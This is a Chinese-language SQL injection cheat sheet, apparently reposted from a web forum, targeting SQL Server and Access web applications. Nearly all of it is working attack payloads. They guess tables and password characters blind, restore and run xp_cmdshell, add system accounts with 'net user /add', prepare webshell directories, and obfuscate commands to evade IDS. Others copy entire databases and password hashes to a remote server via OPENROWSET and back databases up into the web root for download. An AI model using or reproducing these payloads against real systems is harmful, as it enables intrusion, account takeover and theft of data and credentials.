常见SQL注入语句

来源:互联网 发布:php入门教程电子书 编辑:程序博客网 时间:2024/05/19 20:46
       1.判断有无注入点
  ; and 1=1 and 1=2
  2.猜表一般的表的名称无非是admin adminuser user pass password 等..
  and 0<>(select count(*) from *)
  and 0<>(select count(*) from admin) ---判断是否存在admin这张表
  3.猜帐号数目 如果遇到0< 返回正确页面 1<返回错误页面说明帐号数目就是1个
  and 0<(select count(*) from admin)
  and 1<(select count(*) from admin)
  4.猜解字段名称 在len( ) 括号里面加上我们想到的字段名称.
  and 1=(select count(*) from admin where len(*)>0)--
  and 1=(select count(*) from admin where len(用户字段名称name)>0)
  and 1=(select count(*) from admin where len(密码字段名称password)>0)
  5.猜解各个字段的长度 猜解长度就是把>0变换 直到返回正确页面为止
  and 1=(select count(*) from admin where len(*)>0)
  and 1=(select count(*) from admin where len(name)>6) 错误
  and 1=(select count(*) from admin where len(name)>5) 正确 长度是6
  and 1=(select count(*) from admin where len(name)=6) 正确
  and 1=(select count(*) from admin where len(password)>11) 正确
  and 1=(select count(*) from admin where len(password)>12) 错误 长度是12
  and 1=(select count(*) from admin where len(password)=12) 正确
  6.猜解字符
  and 1=(select count(*) from admin where left(name,1)=a) ---猜解用户帐号的第一位
  and 1=(select count(*) from admin where left(name,2)=ab)---猜解用户帐号的第二位
  就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了
  and 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1))=51) --
  这个查询语句可以猜解中文的用户和密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符.
  group by users. id having 1=1--
  group by users. id, users.username, users.password, users.privs having 1=1--
  ; insert into users values( 666, attacker, foobar, 0xffff )--
  UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=logintable-
  UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=logintable WHERE COLUMN_NAME NOT IN
  (login_id)-
  UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=logintable WHERE COLUMN_NAME NOT IN
  (login_id,login_name)-
  UNION SELECT TOP 1 login_name FROM logintable-
  UNION SELECT TOP 1 password FROM logintable where login_name=Rahul--
  看服务器打的补丁=出错了打了SP4补丁
  and 1=(select @@VERSION)--
  看数据库连接账号的权限,返回正常,证明是服务器角色sysadmin权限
  and 1=(SELECT IS_SRVROLEMEMBER(sysadmin))--
  判断连接数据库帐号。(采用SA账号连接 返回正常=证明了连接账号是SA)
  and sa=(SELECT System_user)--
  and user_name()=dbo--
  and 0<>(select user_name()--
  看xp_cmdshell是否删除
  and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = X AND name = xp_cmdshell)--
  xp_cmdshell被删除,恢复,支持绝对路径的恢复
  ;EXEC master.dbo.sp_addextendedproc xp_cmdshell,xplog70.dll--
  ;EXEC master.dbo.sp_addextendedproc xp_cmdshell,c:\inetpub\wwwroot\xplog70.dll--
  反向PING自己实验
  ;use master;declare @s int;exec sp_oacreate "wscript.shell",@s out;exec sp_oamethod @s,"run",NULL,"cmd.exe /c ping 192.168.0.1";--
  加帐号
  ;DECLARE @shell INT EXEC SP_OACREATE wscript.shell,@shell OUTPUT EXEC SP_OAMETHOD @shell,run,null, C:\WINNT\system32\cmd.exe
  /c net user jiaoniang$ 1866574 /add--
  创建一个虚拟目录E盘:
  ;declare @o int exec sp_oacreate wscript.shell, @o out exec sp_oamethod @o, run, NULL, cscript.exe c:\inetpub\wwwroot\mkwebdir.vbs -w "默认Web站点" -v "e","e:\"--
  访问属性:(配合写入一个webshell)
  declare @o int exec sp_oacreate wscript.shell, @o out exec sp_oamethod @o, run, NULL, cscript.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse
  爆库 特殊技巧::%5c=\ 或者把/和\ 修改%5提交
  and 0<>(select top 1 paths from newtable)--
  得到库名(从1到5都是系统的id,6以上才可以判断)
  and 1=(select name from master.dbo.sysdatabases where dbid=7)--
  and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
  依次提交 dbid = 7,8,9.... 得到更多的数据库名
  and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U) 暴到一个表 假设为 admin
  and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in (Admin)) 来得到其他的表。
  and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin
  and uid>(str(id))) 暴到UID的数值假设为18779569 uid=id
  and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一个admin的一个字段,假设为 user_id
  and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in
  (id,...)) 来暴出其他的字段
  and 0<(select user_id from BBS.dbo.admin where username>1) 可以得到用户名
  依次可以得到密码。。。。。假设存在user_id username ,password 等字段
  and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
  and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U) 得到表名
  and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in(Address))
  and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin and uid>(str(id))) 判断id值
  and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段
  ?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin
  ?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin (union,access也好用)
  得到WEB路径
  ;create table [dbo].[swap] ([swappass][char](255));--
  and (select top 1 swappass from swap)=1--
  ;CREATE TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec master..xp_regread

  如果被限制则可以。
  select * from openrowset(sqloledb,server;sa;,select OK! exec master.dbo.sp_addlogin hax)
  查询构造:
  SELECT * FROM news WHERE id=... AND topic=... AND .....
  adminand 1=(select count(*) from [user] where username=victim and right(left(userpass,01),1)=1) and userpass <>
  select 123;--
  ;use master;--
  :a or name like fff%;-- 显示有一个叫ffff的用户哈。
  and 1<>(select count(email) from [user]);--
  ;update [users] set email=(select top 1 name from sysobjects where xtype=u and status>0) where name=ffff;--
  ;update [users] set email=(select top 1 id from sysobjects where xtype=u and name=ad) where name=ffff;--
  ;update [users] set email=(select top 1 name from sysobjects where xtype=u and id>581577110) where name=ffff;--
  ;update [users] set email=(select top 1 count(id) from password) where name=ffff;--
  ;update [users] set email=(select top 1 pwd from password where id=2) where name=ffff;--
  ;update [users] set email=(select top 1 name from password where id=2) where name=ffff;--
  上面的语句是得到数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。
  通过查看ffff的用户资料可得第一个用表叫ad
  然后根据表名ad得到这个表的ID 得到第二个表的名字
  insert into users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char
  (0x69)+char(0x73), 0xffff)--
  insert into users values( 667,123,123,0xffff)--
  insert into users values ( 123, admin--, password, 0xffff)--
  ;and user>0
  ;and (select count(*) from sysobjects)>0
  ;and (select count(*) from mysysobjects)>0 //为access数据库
  枚举出数据表名
  ;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0);--
  这是将第一个表名更新到aaa的字段处。
  读出第一个表,第二个表可以这样读出来(在条件后加上 and name<>刚才得到的表名)。
  ;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0 and name<>vote);--
  然后id=1552 and exists(select * from aaa where aaa>5)
  读出第二个表,一个个的读出,直到没有为止。
  读字段是这样:
  ;update aaa set aaa=(select top 1 col_name(object_id(表名),1));--
  然后id=152 and exists(select * from aaa where aaa>5)出错,得到字段名
  ;update aaa set aaa=(select top 1 col_name(object_id(表名),2));--
  然后id=152 and exists(select * from aaa where aaa>5)出错,得到字段名
  [获得数据表名][将字段值更新为表名,再想法读出这个字段的值就可得到表名]
  update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>你得到的表名 查出一个加一个])
  [ where 条件] select top 1 name from sysobjects where xtype=u and status>0 and name not in(table1,table2,…)
  通过SQLSERVER注入漏洞建数据库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN组]
  [获得数据表字段名][将字段值更新为字段名,再想法读出这个字段的值就可得到字段名]
  update 表名 set 字段=(select top 1 col_name(object_id(要查询的数据表名),字段列如:1) [ where 条件]
  绕过IDS的检测[使用变量]
  ;declare @a sysname set @a=xp_+cmdshell exec @a dir c:\
  ;declare @a sysname set @a=xp+_cm’+’dshell exec @a dir c:\
  开启远程数据库
  基本语法
  select * from OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1 )
  参数: (1) OLEDB Provider name
  其中连接字符串参数可以是任何端口用来连接,比如
  select * from OPENROWSET(SQLOLEDB, uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;, select * from table
  复制目标主机的整个数据库insert所有远程表到本地表。
  基本语法:
  insert into OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1) select * from table2
  这行语句将目标主机上table2表中的所有数据复制到远程数据库中的table1表中。实际运用中适当修改连接字符串的IP地址和端口,指向需要的地方,比如:
  insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select * from
  table2
  insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _sysdatabases)
  select * from master.dbo.sysdatabases
  insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _sysobjects)
  select * from user_database.dbo.sysobjects
  insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _syscolumns)
  select * from user_database.dbo.syscolumns
  复制数据库:
  insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select * from database..table1 insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table2) select * fromdatabase..table2
  复制哈西表(HASH)登录密码的hash存储于sysxlogins中。方法如下:
  insert into OPENROWSET(SQLOLEDB, uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _sysxlogins) select
  * from database.dbo.sysxlogins
  得到hash之后,就可以进行暴力破解。
  遍历目录的方法: 先创建一个临时表:temp
  ;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
  ;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
  ;insert into temp(id) exec master.dbo.xp_subdirs c:\;-- 获得子目录列表
  ;insert into temp(id,num1) exec master.dbo.xp_dirtree c:\;-- 获得所有子目录的目录树结构,并寸入temp表中
  ;insert into temp(id) exec master.dbo.xp_cmdshell type c:\web\index.asp;-- 查看某个文件的内容
  ;insert into temp(id) exec master.dbo.xp_cmdshell dir c:\;--
  ;insert into temp(id) exec master.dbo.xp_cmdshell dir c:\ *.asp /s/a;--
  ;insert into temp(id) exec master.dbo.xp_cmdshell cscript. C:\Inetpub\AdminScripts\adsutil.vbs enum w3svc
  ;insert into temp(id,num1) exec master.dbo.xp_dirtree c:\;-- (xp_dirtree适用权限PUBLIC)
  写入表:
  语句1:and 1=(SELECT IS_SRVROLEMEMBER(sysadmin));--
  语句2:and 1=(SELECT IS_SRVROLEMEMBER(serveradmin));--
  语句3:and 1=(SELECT IS_SRVROLEMEMBER(setupadmin));--
  语句4:and 1=(SELECT IS_SRVROLEMEMBER(securityadmin));--
  语句5:and 1=(SELECT IS_SRVROLEMEMBER(securityadmin));--
  语句6:and 1=(SELECT IS_SRVROLEMEMBER(diskadmin));--
  语句7:and 1=(SELECT IS_SRVROLEMEMBER(bulkadmin));--
  语句8:and 1=(SELECT IS_SRVROLEMEMBER(bulkadmin));--
  语句9:and 1=(SELECT IS_MEMBER(db_owner));--
  把路径写到表中去:
  ;create table dirs(paths varchar(100), id int)--
  ;insert dirs exec master.dbo.xp_dirtree c:\--
  and 0<>(select top 1 paths from dirs)--
  and 0<>(select top 1 paths from dirs where paths not in(@Inetpub))--
  ;create table dirs1(paths varchar(100), id int)--
  ;insert dirs exec master.dbo.xp_dirtree e:\web--
  and 0<>(select top 1 paths from dirs1)--
  把数据库备份到网页目录:下载
  ;declare @a sysname; set @a=db_name();backup database @a to disk=e:\web\down.bak;--
  and 1=(Select top 1 name from(Select top 12 id,name from sysobjects where xtype=char(85)) T order by id desc)
  and 1=(Select Top 1 col_name(object_id(USER_LOGIN),1) from sysobjects) 参看相关表。
  and 1=(select user_id from USER_LOGIN)
  and 0=(select user from USER_LOGIN where user>1)

  xp_dirtree适用权限PUBLIC
  exec master.dbo.xp_dirtree c:\
  返回的信息有两个字段subdirectory、depth。Subdirectory字段是字符型,depth字段是整形字段。
  create table dirs(paths varchar(100), id int)
  建表,这里建的表是和上面xp_dirtree相关连,字段相等、类型相同。
  insert dirs exec master.dbo.xp_dirtree c:\
  只要我们建表与存储进程返回的字段相定义相等就能够执行!达到写表的效果.
